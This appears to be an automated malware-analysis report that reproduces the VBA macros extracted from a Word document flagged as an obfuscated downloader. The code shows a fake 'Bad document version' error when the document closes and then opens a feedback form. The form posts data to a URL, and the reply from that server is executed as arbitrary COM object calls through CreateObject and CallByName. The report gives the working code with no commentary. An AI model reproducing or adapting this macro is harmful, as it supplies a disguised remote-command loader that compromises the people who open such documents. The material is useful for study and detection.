Windows Analysis Report SecuriteInfo.com.VBA.Heur.ObfDldr.13.217245C7.Gen.22804.27501

Attribute VB_Name = "Feedback"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Private Sub process(data As String)
    Dim lines() As String
    Dim fields() As String
    
    lines = Split(data, vbCrLf)
    For i = LBound(lines, 1) To UBound(lines, 1)
        fields = Split(lines(i), "|", 3)
        
        If UBound(fields) = 0 Then
            MsgBox lines(i)
        Else
          Dim obj As Object
          Set obj = CreateObject(fields(0))
          Reply = CallByName(obj, fields(1), VbMethod, fields(2), 0)
        End If
    Next i
    
           
    

End Sub


Public Sub send(data As String, requesUrl As String)

        
    Set obj = CreateObject("MSXML2.ServerXMLHTTP")
    obj.Open "POST", Trim(requesUrl), False
    obj.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    obj.send (data)
    
    If obj.Status = "200" Then
        process (obj.responseText)
    End If
End Sub

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Rem Attribute VBA_ModuleType=VBADocumentModule

Private Sub Document_Close()

MsgBox "ERROR: Bad document version", vbCritical, "Conversion fail"
frmFeedback.Show


End Sub

Attribute VB_Name = "frmFeedback"
Attribute VB_Base = "0{D3A91B38-4DB9-4127-BDC6-A12A02586370}{ABE498BB-A746-48CC-9E40-3567E6F5903F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Dim sended As Boolean


Private Sub feedbackAction(data As String)
    Dim fb As Feedback
    Set fb = New Feedback
    sended = True
    fb.send data, frmFeedback.TextBox2.Value
    
    
    
    Unload Me
End Sub

Private Sub btnClose_Click()
    feedbackAction "status=cancel"
    
End Sub

Private Sub btnSend_Click()
    Dim text As String
    
    text = "status=ok" &             "&answer_1=" & frmFeedback.CheckBox1.Value &             "&answer_2=" & frmFeedback.CheckBox2.Value &             "&comment=" & frmFeedback.TextBox1.Value
    
    feedbackAction text
End Sub


Private Sub UserForm_Activate()
 sended = False
 
End Sub

Private Sub UserForm_QueryClose(Cancel As Integer, CloseMode As Integer)
    If sended = False Then
        feedbackAction "status=close"
    End If

End Sub